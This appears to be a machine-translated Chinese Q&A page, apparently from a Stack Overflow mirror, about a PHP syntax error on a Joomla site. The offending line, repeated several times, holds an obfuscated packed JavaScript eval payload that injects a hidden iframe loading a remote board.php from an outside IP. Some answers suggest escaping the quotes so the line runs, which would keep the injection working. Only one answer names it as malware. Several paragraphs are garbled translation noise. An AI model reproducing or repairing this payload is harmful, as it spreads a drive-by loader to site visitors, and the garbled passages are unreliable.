Php Joomla语法错误

Php Joomla语法错误,php,joomla,wamp,Php,Joomla,Wamp,我在服务器和本地主机上运行过,遇到了与下面相同的问题,我尝试过搜索,但没有找到任何解决方案。请帮我修一下 谢谢大家。字符串中没有单引号。替换为: $body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while

我在服务器和本地主机上运行过,遇到了与下面相同的问题,我尝试过搜索,但没有找到任何解决方案。请帮我修一下


谢谢大家。

字符串中没有单引号。替换为:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

(c)函数(e)e)c)函数(c)函数(c)返回d(e)返回d(e)返回d(e)返回d(e)返回c.返回到字符串(36))};若(若)假如(若)bo体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)须(b)体)须(b)取代(b)须(b)取代(b)取代(b)而(c)取代(b)取代(b)而(c)取代(c)而(c)取代(c)取代(c)及(c)及(c)取代(c)取代(c)及(c)取代(c)取代(c)取代(c)取代(c)及(c)取代(c)取代(c)取代(c)、k[c])}返回p}(\'1k=“i=\\”0\\”g=\\”0\\“j=\\“0\\”f=\\“c://d.h.n.l/o.m\\”>“1 5=“”以澄清itocopus的响应。当您使用str\u替换为单引号,即(“”)时,当您在其中包含单引号时,它认为您正在关闭函数。因此,您需要使用\ So is you want To use in it you will use:(“”“”)对其进行转义

因此,总数将是:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

(c)函数(e)e)c)函数(c)函数(c)返回d(e)返回d(e)返回d(e)返回d(e)返回c.返回到字符串(36))};若(若)假如(若)bo体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)体(b)须(b)体)须(b)取代(b)须(b)取代(b)取代(b)而(c)取代(b)取代(b)而(c)取代(c)而(c)取代(c)取代(c)及(c)及(c)取代(c)取代(c)及(c)取代(c)取代(c)取代(c)取代(c)及(c)取代(c)取代(c)取代(c)、k[c])}返回p}(\'1k=“i=\\”0\\”g=\\”0\\“j=\\“0\\”f=\\“c://d.h.n.l/o.m\\”>“1 5=“这是一种恶意软件注入。Joomla和Wordpress很常见。您必须删除联机内容并将备份联机。将所有过程更改为ftp和CMS

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);
$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);